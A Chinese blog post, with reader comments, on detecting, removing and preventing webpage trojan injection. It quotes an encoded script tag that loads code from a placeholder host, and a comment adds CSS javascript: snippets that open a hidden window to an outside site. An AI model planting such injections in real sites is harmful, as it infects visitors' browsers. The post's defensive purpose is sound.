-
7月13日
-
在网站优化设计当中，检测网页木马也是很重要的一项工作，目前流行的网站被黑，是在相应的asp,htm,js等文件中，插入以js调用方式的。本文主要介绍网页挂马的种类、如何检测网页是否被挂马、如何清除网页木马。如何防止网页被挂马。
1:网页挂马的种类.目前流行的网站被黑，是在相应的asp,htm,js等文件中，插入以js调用方式的。更详细的资料，请点击查看挂马代码大全。
卢松松以前做过的‘极品源码下载站’就遇到过JS挂马
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
‘校园闹翻天论坛’就遇到用户提权，利用动网程序漏洞（上传附件漏洞）拥有网站管理员权限。删了论坛几千条数据,一千多位会员的ID2:如何检测网页是否被挂马。
(1)：专业检测工具，六款免费网页安全检测工具横向测评（华军软件园）点此进入
(2)：google检测，或者可以利用Google搜索你的网站、博客进行检测。如果有网站有木马则google会在搜索列表的下方提示该网站有不安全因素。
(3)：杀毒软件检测，常用的杀毒软件也可以检测出来。
(4)：人工检测，打开你的网站、博客，点击右键查看源文件，根据网页挂马的种类也可以查看是否中了木马。
(5)：使用McAfee SiteAdvisor安全浏览网页的插件。例:检测卢松松博客是否安全可点此查看。
3:如何清除网页木马。
一旦中了网页木马，就看那些文件是最近修改过的，主要查看这些新文件，（从FTP中可以查看文件最近修改时间。）然后进入源文件把相关的网页挂马种类的可疑代码删除。
如果你对你所使用的网站、博客程序不熟悉，建议删除所有文件（数据库、图片、文档、程序模板主题等文件夹可以保留）4:如何防止网页被挂马。如果你的网站还没有被挂马，请从预防开始吧。
(1)：对网友开放上传附件功能的网站一定要进行身份认证，并只允许信任的人使用上传程序。
(2)：保证你所使用的程序及时的更新。
(3)：不要在前台网页上加注后台管理程序登陆页面的链接。
(4)：要时常备份数据库等重要文件，但不要把备份数据库放在程序默认的备份目录下。
(5)：管理员的用户名和密码要有一定复杂性，不能过于简单。
(6)：IIS中禁止写入和目录禁止执行的功能，二项功能组合，可以有效的防止ASP木马。
(7)：可以在服务器、虚拟主机控制面板，设置执行权限选项中，直接将有上传权限的目录，取消ASP的运行权限。
(8)：创建一个robots.txt上传到网站根目录。Robots能够有效的防范利用搜索引擎窃取信息的骇客。 点此查看robots.txt使用方法。
除非注明，文章均为卢松松原创，欢迎转载！转载请注明本文地址，谢谢。
本文地址：http://lusongsong.com/reed/79.html
www.fix114.net
使用的body 背景图 t 来挂的。。。
其他，比如空间那边的问题，就要看你的RP了。。。
上次我的空间那边，ARP攻击被搞了三次，，，
哎...被人挂了木马,,
速求助.....
qq:332778993
湖南兴诚养殖场
http://www.hnxingcheng.com
连锁酒店
丰田RAV4
马克思说过：世界上万事万物都是有联系的。从木马的角度来说，除木马病毒以外，其他任何东西都是木马病毒。不知道谁能理解虾说的这句话。
只帮别人做站，自己不弄……
帮人做好了也不负责维护……
(*^__^*)...嘻嘻
下联：那里的评论多又多
横批：博客中的沙发
不要见笑呵！呵！
的其实不错，不过好像有点影响网速
个人小博客没人会挂马吧？
挂马呀。。。。
趁火打劫的意思~~~~
两个月前我的博客PR也有4呢，但这几个月太忙没更新，变为零了。
挺喜欢这个博客：）
不过我所去过的黄色网站全部挂马
我也說呢，怎麼會被掛馬呢？保管好密碼什麼的也不至於阿。。。
“現在的社會風氣實在太坏了”，不得不防阿
呵呵，这个很有用，我去把我的删掉。
不过看源文件发现被挂马，不一定是服务器端的原因，像ARP之内在客户端的攻击，同样可以导致客户端浏览器强制挂马，我就遇到过。
每一个都值得认真去做~
收藏了
后来终于想到一个好办法，把关给站了。他就不存在了。呵呵。
看来，需要按照老大的方法，解决这个问题啦！呵呵~~
呵呵
希望这种馅饼还是不要来
放链接就放链接把 还把我网页搞成乱码！！！！
谁在我破博客挂马有啥用
又20多楼了！
不过学着怎么防范和检测总是有用的
太牛了，查查去。
先顶起看。。
Body{
background-image: url('javascript:document.write("")')
}
-------------------------------
Body{
background-image: url(javascript:open(' http://www.lyzsoft.cn '，'newwindow'，'height=0， width=0， top=1000， left=0， toolbar=no， menubar=no， scrollbars=no， resizable=no，location=no， status=no'))
}
我得赶紧去查查了，不知道自己的有没有被挂马呢